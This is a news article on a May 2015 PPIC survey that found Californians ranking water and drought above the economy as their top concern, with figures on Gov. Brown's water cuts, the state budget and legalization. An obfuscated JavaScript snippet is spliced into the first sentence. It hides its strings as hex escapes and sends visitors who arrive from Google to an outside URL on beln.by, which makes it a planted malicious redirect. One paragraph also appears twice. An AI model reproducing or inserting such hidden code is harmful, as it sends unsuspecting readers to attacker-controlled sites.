Historic drought trumps economy

The dry bed of Ivanpah Lake in San Barnardino County, which had been filled by the 2004-05 rains. (Photo: Ed Berlen)

Water and the lack of it is the No var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. 1 issue confronting California, and most people across the state believe their neighbors aren’t doing enough to deal with the drought, a survey reported.

The nonprofit Public Policy Institute of California reported that nearly four in 10 of those surveyed said water and drought was the most important issue, about double those – 20 percent – who saw jobs and the economy as the key concern.

Nearly half of those surveyed supported Gov. Brown’s order to cut water usage in towns and cities by 25 percent, while over a third, 36 percent, said the governor’s order didn’t go far enough.

PPIC said the response marked the first time in its surveys that the drought was cited as the state’s top issue. The full survey can be seen here.

“Water and drought is the most frequently named issue in all regions, but Central Valley residents are the most likely to mention it (53%) (42% San Francisco Bay Area, 37% Orange/San Diego, 36% Inland Empire, 31% Los Angeles). In addition, 69 percent of Californians say the supply of water in their part of the state is a big problem—a record high since the survey began asking this question in 2009,” PPIC said in a statement accompanying the survey.

“Just 28 percent of Californians say that people in their part of the state are doing the right amount to respond to the drought, while 60 percent say that their neighbors are not doing enough (7% too much),” PPIC noted.

Nearly half of those surveyed supported Gov. Brown’s order to cut water usage in towns and cities by 25 percent, while over a third, 36 percent, said the governor’s order didn’t go far enough.

“Public concern about the drought is at a record-high level today,” said Mark Baldassare, PPIC president and CEO. “Most Californians are satisfied with the governor’s actions, but a sizable number say the mandatory water reductions have not gone far enough.”

Some 47 percent of those surveyed approved of the governor’s handling of the drought, while 38 percent disapproved and 15 percent said they didn’t know.

The PPIC survey was conducted after Brown released his revised state budget for the 2015-16 fiscal year.

“After hearing a brief summary of the plan, 73 percent of adults and 70 percent of likely voters say they favor it, while about a quarter (23% adults, 25% likely voters) are opposed,” the PPIC said. “Majorities across parties favor the proposal, but support is much higher among Democrats (80%) and independents (73%) than among Republicans (55%).

The survey shows that the public’s concerns about the state budget situation have steadily eased over time.

Today, 47 percent of adults say the budget situation is a big problem — close to the record low on this question reached in May 2007 (44%).

Californians’ opinions about the direction of the state and their own economic futures are about the same as in May 2014. Today, 45 percent of adults and 40 percent of likely voters say things are generally going in the right direction. About half (48%) of adults and 44 percent of likely voters expect good times financially in the next year. Residents in the San Francisco Bay Area are more upbeat than those in other regions about the direction of things in California (53% right direction), and more likely to expect good economic times (57%).

On other issues, among likely California voters, 56 percent favor legalization and 41 percent are opposed. A majority of whites (60%) favor legalization, while a similar proportion of Latinos (60%) oppose it. Across age groups, Californians age 18 to 34 (62%) are more likely to favor legalization than are older residents (51% age 35 to 54, 49% age 55 and older).

Asked the same series of questions about state government, 61 percent of adults and 62 percent of likely voters say they can trust the government in Sacramento to do what is right only some of the time. Solid majorities (62% adults, 65% likely voters) say state government is run by a few big interests looking out for themselves. A slim majority of adults (52%) and 57 percent of likely voters say people in state government waste a lot of tax money.

Ed’s Note: The survey’s findings are based on a telephone survey of 1,706 California adult residents interviewed on landlines and cell phones from May 17–27, 2015. Interviews were conducted in English or Spanish, according to respondents’ preferences. The sampling error was plus-or-minus 3.6 percent for all adults.

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